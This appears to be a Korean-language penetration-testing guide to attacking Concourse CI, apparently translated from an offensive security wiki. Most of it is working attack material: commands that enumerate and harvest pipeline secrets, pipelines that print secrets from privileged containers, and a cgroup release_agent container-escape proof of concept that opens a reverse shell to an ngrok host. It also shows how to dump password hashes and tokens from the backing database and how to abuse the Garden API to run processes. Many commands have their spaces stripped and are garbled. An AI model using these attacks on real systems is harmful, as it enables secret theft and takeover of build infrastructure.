ConcourseAdmin: 이 역할은 main team(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. Admin은 다른 팀을 구성할 수 있습니다 (예: fly set-team, fly destroy-team...). 이 역할의 권한은 RBAC에 의해 영향을 받지 않습니다.
owner: 팀 소유자는 팀 내 모든 것을 수정할 수 있습니다.
member: 팀 멤버는 팀 자산을 읽고 쓸 수 있지만 팀 설정을 수정할 수는 없습니다.
pipeline-operator: 파이프라인 운영자는 빌드 트리거 및 리소스 고정과 같은 파이프라인 작업을 수행할 수 있지만 파이프라인 구성을 업데이트할 수는 없습니다.
viewer: 팀 뷰어는 팀과 그 파이프라인에 대해 "읽기 전용" 액세스 권한을 가집니다.
Concourse는 파이프라인을 팀 내에 그룹화합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 여러 팀이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀 내에서 다른 권한을 가질 수 있습니다.
Vars & Credential Manager
YAML 구성에서 ((_source-name_:_secret-path_._secret-field_)) 구문을 사용하여 값을 구성할 수 있습니다.
문서에서 발췌:source-name은 선택 사항이며, 생략된 경우 클러스터 전체 자격 증명 관리자가 사용되거나 정적으로 값이 제공될 수 있습니다.
선택적 _secret-field_는 읽을 가져온 비밀의 필드를 지정합니다. 생략된 경우, 자격 증명 관리자는 필드가 존재하면 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.
또한, secret-path 및 _secret-field_는 . 및 :와 같은 특수 문자를 포함하는 경우 큰따옴표 "..."로 둘러쌀 수 있습니다. 예를 들어, ((source:"my.secret"."field:1"))는 _secret-path_를 my.secret로 설정하고 _secret-field_를 field:1로 설정합니다.
-v or --varNAME=VALUE sets the string VALUE as the value for the var NAME.
-y or --yaml-varNAME=VALUE parses VALUE as YAML and sets it as the value for the var NAME.
-i or --instance-varNAME=VALUE parses VALUE as YAML and sets it as the value for the instance var NAME. See Grouping Pipelines to learn more about instance vars.
-l or --load-vars-fromFILE loads FILE, a YAML document containing mapping var names to values, and sets them all.
Credential Management
파이프라인에서 Credential Manager를 지정하는 다양한 방법이 있으며, 자세한 내용은 https://concourse-ci.org/creds.html에서 확인할 수 있습니다.
또한, Concourse는 다양한 credential manager를 지원합니다:
API 토큰은 기본적으로 $HOME/.flyrc에 저장되며, 머신을 약탈하면 해당 자격 증명을 찾을 수 있습니다.
Teams & Users
팀 목록 가져오기
fly -t <target> teams
팀 내 역할 가져오기
fly -t <target> get-team -n <team-name>
사용자 목록 가져오기
fly -t <target> active-users
Pipelines
파이프라인 목록:
fly -t <target> pipelines -a
파이프라인 yaml 가져오기 (민감한 정보가 정의에 있을 수 있음):
fly -t <target> get-pipeline -p <pipeline-name>
모든 파이프라인 구성 선언 변수 가져오기
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
사용된 모든 파이프라인 비밀 이름 가져오기 (작업을 생성/수정하거나 컨테이너를 하이재킹할 수 있다면 이를 유출할 수 있음):
rm/tmp/secrets.txt;for pipename in $(fly-toneloginpipelines|grep-Ev"^id"|awk'{print $2}'); doecho $pipename;fly-toneloginget-pipeline-p $pipename |grep-Eo'\(\(.*\)\)'|sort|uniq|tee-a/tmp/secrets.txt;echo"";doneecho""echo"ALL SECRETS"cat/tmp/secrets.txt|sort|uniqrm/tmp/secrets.txt
Containers & Workers
workers 목록:
fly -t <target> workers
containers 목록:
fly -t <target> containers
builds 목록 (실행 중인 항목 확인):
fly -t <target> builds
Concourse Attacks
Credentials Brute-Force
admin:admin
test:test
Secrets and params enumeration
이전 섹션에서 파이프라인에서 사용되는 모든 secrets 이름과 vars를 얻는 방법을 보았습니다. vars는 민감한 정보를 포함할 수 있으며, secrets의 이름은 나중에 이를 탈취하려고 시도할 때 유용할 것입니다.
Session inside running or recently run container
충분한 권한이 있다면 (member 역할 이상) 파이프라인과 역할을 나열하고 <pipeline>/<job>컨테이너 내부에 세션을 얻을 수 있습니다:
fly-ttutorialintercept--jobpipeline-name/job-namefly-ttutorialintercept# To be presented a prompt with all the options
이 권한으로 다음을 수행할 수 있습니다:
컨테이너 내부의 비밀을 훔치기
노드로 탈출 시도
클라우드 메타데이터 엔드포인트 열거/악용 (가능하다면 pod와 노드에서)
파이프라인 생성/수정
충분한 권한이 있다면 (멤버 역할 이상) 새 파이프라인을 생성/수정할 수 있습니다. 이 예제를 확인하세요:
jobs:- name:simpleplan:- task:simple-taskprivileged:trueconfig:# Tells Concourse which type of worker this task should run onplatform:linuximage_resource:type:registry-imagesource:repository:busybox# images are pulled from docker hub by defaultrun:path:shargs:- -cx- |echo "$SUPER_SECRET"sleep 1000params:SUPER_SECRET:((super.secret))
새로운 파이프라인의 수정/생성으로 다음을 수행할 수 있습니다:
비밀을 훔치기 (echo로 출력하거나 컨테이너 내부에 들어가 env 실행)
노드로 탈출 (충분한 권한 부여 - privileged: true)
클라우드 메타데이터 엔드포인트 열거/악용 (pod와 노드에서)
생성된 파이프라인 삭제
사용자 정의 작업 실행
이 방법은 이전 방법과 유사하지만 전체 새로운 파이프라인을 수정/생성하는 대신 사용자 정의 작업을 실행할 수 있습니다 (아마도 훨씬 더 은밀하게):
# For more task_config options check https://concourse-ci.org/tasks.htmlplatform:linuximage_resource:type:registry-imagesource:repository:ubunturun:path:shargs:- -cx- |envsleep 1000params:SUPER_SECRET:((super.secret))
이전 섹션에서 concourse로 특권 작업을 실행하는 방법을 보았습니다. 이는 docker 컨테이너의 특권 플래그와 동일한 액세스를 제공하지 않습니다. 예를 들어, /dev에서 노드 파일 시스템 장치를 볼 수 없으므로 탈출이 더 "복잡"할 수 있습니다.
다음 PoC에서는 release_agent를 사용하여 약간의 수정을 통해 탈출할 것입니다:
# Mounts the RDMA cgroup controller and create a child cgroup# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix itmkdir/tmp/cgrp&&mount-tcgroup-omemorycgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# CHANGE ME# The host path will look like the following, but you need to change it:host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:#/dev/vda1 on /scratch type ext4 (rw,relatime)#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)## Then next part I think is constant "hostpath-provisioner/default/"## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed# "concourse-work-dir" is constant# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028# the UID is the part we are looking for# Then the host_path is:#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#====================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1">>/cmdchmoda+x/cmd#====================================# Get outputecho'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#====================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroupsh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
mkdir/tmp/cgrp&&mount-tcgroup-omemorycgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_releasehost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab|head-n1`echo"$host_path/cmd">/tmp/cgrp/release_agent#====================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1">>/cmdchmoda+x/cmd#====================================# Get outputecho'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#====================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroupsh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
Web 컨테이너에서 노드로 탈출하기
웹 컨테이너에 일부 방어가 비활성화되어 있더라도 일반적인 권한이 있는 컨테이너로 실행되지 않습니다 (예를 들어, 마운트할 수 없고 capabilities가 매우 제한적이므로 컨테이너에서 탈출하는 쉬운 방법은 모두 쓸모가 없습니다).
당신은 그 자격 증명을 사용하여 웹 서버에 로그인하고 권한이 있는 컨테이너를 생성하여 노드로 탈출할 수 있습니다.
환경에서 concourse가 사용하는 postgresql 인스턴스에 접근하기 위한 정보(주소, username, password 및 데이터베이스 등)를 찾을 수도 있습니다:
env|grep-ipostgCONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432CONCOURSE_POSTGRES_USER=concourseCONCOURSE_POSTGRES_DATABASE=concourseCONCOURSE_POSTGRES_PASSWORD=concourse[...]# Access the postgresql dbpsql-h10.107.191.238-Uconcourse-dconcourseselect * from password; #Find hashed passwordsselect * from access_tokens;select*fromauth_code;select*fromclient;select*fromrefresh_token;select*fromteams; #Change the permissions of the users in the teamsselect * from users;
Garden 서비스 악용 - 실제 공격이 아님
이것은 서비스에 대한 몇 가지 흥미로운 노트일 뿐이며, 로컬호스트에서만 청취하기 때문에 이미 이전에 악용한 것 외에는 영향을 미치지 않습니다.
기본적으로 각 concourse worker는 포트 7777에서 Garden 서비스를 실행합니다. 이 서비스는 웹 마스터가 worker에게 무엇을 실행해야 하는지 지시하는 데 사용됩니다(이미지를 다운로드하고 각 작업을 실행). 이는 공격자에게 매우 유리하게 들리지만, 몇 가지 좋은 보호 장치가 있습니다:
로컬에서만 노출됩니다 (127.0.0.1) 그리고 worker가 특수 SSH 서비스를 통해 웹에 인증할 때 터널이 생성되어 웹 서버가 각 worker 내부의 각 Garden 서비스와 통신할 수 있다고 생각합니다.
웹 서버는 몇 초마다 실행 중인 컨테이너를 모니터링하며, 예상치 못한 컨테이너는 삭제됩니다. 따라서 사용자 정의 컨테이너를 실행하려면 웹 서버와 garden 서비스 간의 통신을 조작해야 합니다.
그러나 /dev 장치를 마운트하거나 release_agent를 사용하는 기법은 작동하지 않습니다 (노드의 파일 시스템이 있는 실제 장치에 접근할 수 없고, 가상 장치만 접근 가능하기 때문입니다). 노드의 프로세스에 접근할 수 없으므로 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다.
이전 섹션에서 특권이 있는 컨테이너에서 탈출하는 방법을 보았습니다. 따라서 현재작업자가 생성한 특권이 있는 컨테이너에서 명령을 실행할 수 있다면, 노드로 탈출할 수 있습니다.
concourse를 다루면서 새로운 컨테이너가 무언가를 실행하기 위해 생성될 때, 그 컨테이너의 프로세스가 작업자 컨테이너에서 접근 가능하다는 것을 알게 되었습니다. 이는 마치 컨테이너가 내부에서 새로운 컨테이너를 생성하는 것과 같습니다.
실행 중인 특권이 있는 컨테이너에 들어가기
# Get current containercurl127.0.0.1:7777/containers{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}# Get container infocurl127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/infocurl127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties# Execute a new process inside a container## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json'\'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'# OR instead of doing all of that, you could just get into the ns of the process of the privileged containernsenter--target76011--mount--uts--ipc--net--pid--sh
새로운 권한이 있는 컨테이너 생성
새로운 컨테이너를 매우 쉽게 생성할 수 있으며 (임의의 UID를 실행) 그 위에서 무언가를 실행할 수 있습니다:
curl-XPOSThttp://127.0.0.1:7777/containers \-H 'Content-Type: application/json' \-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executedwget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json'\'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
그러나 웹 서버는 실행 중인 컨테이너를 몇 초마다 확인하고 있으며, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지고 있으므로, 예상치 못한 컨테이너의 삭제를 방지하기 위해 통신을 조작할 수 있습니다:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.